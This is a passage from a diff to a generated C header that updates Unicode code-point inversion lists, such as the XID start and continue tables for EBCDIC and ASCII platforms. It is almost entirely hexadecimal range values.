-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
+	0x1D552,
+	0x1D6A6,
 	0x1D6A8,
 	0x1D6C1,
-	0x1D6E2,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
 	0x1D6FB,
-	0x1D71C,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
 	0x1D735,
-	0x1D756,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
 	0x1D76F,
-	0x1D790,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
 	0x1D7A9,
-	0x1D7CA,
-	0x1D7CB,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E922,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-static const UV XPosixWord_invlist[] = { /* for EBCDIC 037 */
-	1381,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */
+	1413,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -93851,6 +364695,8 @@
 	0xAA,
 	0xAC,
 	0xAF,
+	0xB3,
+	0xB4,
 	0xC1,
 	0xCA,
 	0xCB,
@@ -93879,13 +364725,11 @@
 	0x375,
 	0x376,
 	0x378,
-	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
 	0x380,
 	0x386,
-	0x387,
-	0x388,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -93896,6 +364740,8 @@
 	0x3F7,
 	0x482,
 	0x483,
+	0x488,
+	0x48A,
 	0x530,
 	0x531,
 	0x557,
@@ -93943,6 +364789,8 @@
 	0x82E,
 	0x840,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -93981,6 +364829,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -94040,7 +364890,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -94155,7 +365005,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -94162,8 +365012,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -94313,6 +365161,8 @@
 	0x135B,
 	0x135D,
 	0x1360,
+	0x1369,
+	0x1372,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -94376,7 +365226,7 @@
 	0x19B0,
 	0x19CA,
 	0x19D0,
-	0x19DA,
+	0x19DB,
 	0x1A00,
 	0x1A1C,
 	0x1A20,
@@ -94390,7 +365240,7 @@
 	0x1AA7,
 	0x1AA8,
 	0x1AB0,
-	0x1ABF,
+	0x1ABE,
 	0x1B00,
 	0x1B4C,
 	0x1B50,
@@ -94410,11 +365260,9 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -94453,8 +365301,6 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
-	0x200C,
-	0x200E,
 	0x203F,
 	0x2041,
 	0x2054,
@@ -94466,6 +365312,10 @@
 	0x2090,
 	0x209D,
 	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
 	0x20F1,
 	0x2102,
 	0x2103,
@@ -94475,7 +365325,7 @@
 	0x2114,
 	0x2115,
 	0x2116,
-	0x2119,
+	0x2118,
 	0x211E,
 	0x2124,
 	0x2125,
@@ -94484,8 +365334,6 @@
 	0x2128,
 	0x2129,
 	0x212A,
-	0x212E,
-	0x212F,
 	0x213A,
 	0x213C,
 	0x2140,
@@ -94495,8 +365343,6 @@
 	0x214F,
 	0x2160,
 	0x2189,
-	0x24B6,
-	0x24EA,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -94535,8 +365381,6 @@
 	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E2F,
-	0x2E30,
 	0x3005,
 	0x3008,
 	0x3021,
@@ -94556,7 +365400,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -94566,7 +365410,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -94576,7 +365420,7 @@
 	0xA610,
 	0xA62C,
 	0xA640,
-	0xA673,
+	0xA670,
 	0xA674,
 	0xA67E,
 	0xA67F,
@@ -94680,6 +365524,8 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -94686,7 +365532,7 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFC,
+	0xFDFA,
 	0xFE00,
 	0xFE10,
 	0xFE20,
@@ -94695,9 +365541,19 @@
 	0xFE35,
 	0xFE4D,
 	0xFE50,
-	0xFE70,
-	0xFE75,
-	0xFE76,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
 	0xFEFD,
 	0xFF10,
 	0xFF1A,
@@ -94743,7 +365599,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -94949,6 +365805,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -94965,6 +365829,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -95002,13 +365880,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -95189,12 +366069,6 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -95203,6 +366077,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0100,
@@ -95209,30 +366085,8395 @@
 	0xE01F0
 };
 
-static const UV XPosixXDigit_invlist[] = { /* for EBCDIC 037 */
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */
+	1185,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
